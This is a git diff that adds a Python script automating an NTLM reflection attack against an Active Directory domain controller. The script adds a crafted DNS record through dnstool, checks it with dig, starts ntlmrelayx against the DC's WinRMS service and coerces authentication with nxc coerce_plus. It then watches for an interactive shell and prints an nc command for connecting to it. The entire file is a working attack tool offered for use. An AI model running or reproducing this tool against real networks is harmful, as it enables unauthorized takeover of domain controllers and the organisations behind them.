summaryrefslogtreecommitdiff
path: root/auto_ntlm_reflection/auto_ntlm_reflection.py
diff options
context:
space:
mode:
Diffstat (limited to 'auto_ntlm_reflection/auto_ntlm_reflection.py')
-rw-r--r--auto_ntlm_reflection/auto_ntlm_reflection.py157
1 files changed, 157 insertions, 0 deletions
diff --git a/auto_ntlm_reflection/auto_ntlm_reflection.py b/auto_ntlm_reflection/auto_ntlm_reflection.py
new file mode 100644
index 0000000..8160bec
--- /dev/null
+++ b/auto_ntlm_reflection/auto_ntlm_reflection.py
@@ -0,0 +1,157 @@
+#!/usr/bin/env python3
+
+# Code for Automating NTLM_Reflection Attack
+# Author : PaiN05
+# 16-11-2025
+
+import os
+import argparse
+import threading
+import subprocess
+import time
+import signal
+
+listener = "localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"
+shell_detected = False
+
+def run_process(cmd, process_name):
+ """Run a process and monitor for shell string"""
+ global shell_detected
+
+ process = subprocess.Popen(
+ cmd,
+ shell=True,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.STDOUT,
+ text=True,
+ bufsize=1
+ )
+
+ print(f"[{process_name}] Started with PID: {process.pid}")
+
+ for line in process.stdout:
+ print(f"[{process_name}] {line}", end="", flush=True)
+
+ # Check for WinRMS shell string
+ if "Started interactive WinRMS shell via TCP on 127.0.0.1:11000" in line and not shell_detected:
+ shell_detected = True
+ print(f"\n" + "="*60)
+ print(f"[!] SHELL READY! Run this command in a new terminal:")
+ print(f"[!] nc 127.0.0.1 11000")
+ print(f"[!] Both processes are still running in the background")
+ print(f"="*60)
+
+ return process
+
+def main():
+ global shell_detected
+
+ parser = argparse.ArgumentParser(
+ description="Automate NTLM relay workflow (DNS → DIG → Relay → Coerce)."
+ )
+
+ # DNS related details
+ parser.add_argument("-u", required=True, help="Domain user (DOMAIN.LOCAL\\user)")
+ parser.add_argument("-p", required=True, help="Password for the user")
+ parser.add_argument("-d", required=True, help="Domain Name (e.g. paincorp.local)")
+ parser.add_argument("-dc-name", required=True, help="DC hostname (e.g. dc01.paincorp.local)")
+ parser.add_argument("-dc-ip", required=True, help="DC hostname (e.g. paincorp.local)")
+ parser.add_argument("-ip", required=True, help="IP address the DNS record should point to")
+
+ args = parser.parse_args()
+
+ # PRINT parsed arguments
+ print("[+] Parsed arguments:")
+ for k, v in vars(args).items():
+ print(f" {k}: {v}")
+
+ # Checking NTLM Reflection
+ check_ntlm_reflection = (
+ f"nxc smb {args.dc_name} "
+ f"-u {args.u.split('\\')[-1]} -p '{args.p}' "
+ f"-M ntlm_reflection"
+ )
+ #print(f"\n[+] NTLM_Reflection Exist:\n{dns_cmd}\n")
+
+ # DNS add
+ dns_cmd = (
+ f"python3 /opt/krbrelayx/dnstool.py "
+ f"-u '{args.d}\{args.u}' -p '{args.p}' "
+ f"{args.dc_name} -a add -r '{listener}' "
+ f"-d '{args.ip}' -dns-ip {args.dc_ip} --tcp --allow-multiple"
+ )
+ #print(f"\n[+] DNS Command:\n{dns_cmd}\n")
+
+ # DIG check
+ dig_cmd = (
+ f"dig {listener}.{args.d} "
+ f"@{args.dc_name} +tcp +short"
+ )
+ #print(f"[+] DIG Verification:\n{dig_cmd}\n")
+
+ # Relay
+ relay_cmd = (
+ f"ntlmrelayx.py -smb2support -t 'winrms://{args.dc_name}'"
+ )
+ #print(f"[+] Relay Command:\n{relay_cmd}\n")
+
+ # Coerce
+ coerce_cmd = (
+ f"nxc smb {args.dc_name} "
+ f"-u {args.u.split('\\')[-1]} -p '{args.p}' "
+ f"-M coerce_plus -o LISTENER={listener} ALWAYS=true"
+ )
+ #print(f"[+] Coerce Command:\n{coerce_cmd}\n")
+
+ # ---------------------------------------------------------
+ # EXECUTION PHASE - JUST MONITOR AND INFORM USER
+ # ---------------------------------------------------------
+
+ # Checking for NTLM Reflection using nxc
+ print("\n NTLM Reflection Exists")
+ os.system(check_ntlm_reflection)
+
+ # Run DNS and DIG first
+ print("\n[+] Running DNS setup...")
+ os.system(dns_cmd)
+
+ print("\n[+] Running DIG verification...")
+ os.system(dig_cmd)
+
+ # Start both processes
+ print("\n[+] Starting ntlmrelayx and nxc coerce...")
+
+ # Start relay in a thread
+ relay_thread = threading.Thread(
+ target=run_process,
+ args=(relay_cmd, "RELAY"),
+ daemon=True
+ )
+ relay_thread.start()
+
+ # Wait a bit then start coerce
+ time.sleep(3)
+
+ # Start coerce in a thread
+ coerce_thread = threading.Thread(
+ target=run_process,
+ args=(coerce_cmd, "COERCE"),
+ daemon=True
+ )
+ coerce_thread.start()
+
+ # Wait for shell detection or let processes run
+ print("\n[+] Monitoring for shell... (Press Ctrl+C to stop all processes)")
+
+ try:
+ # Keep the main thread alive
+ while True:
+ time.sleep(1)
+ except KeyboardInterrupt:
+ print(f"\n[!] Stopping all processes...")
+ os.system("pkill -f 'ntlmrelayx' 2>/dev/null")
+ os.system("pkill -f 'nxc smb' 2>/dev/null")
+ print("[!] All processes stopped.")
+
+if __name__ == "__main__":
+ main() \ No newline at end of file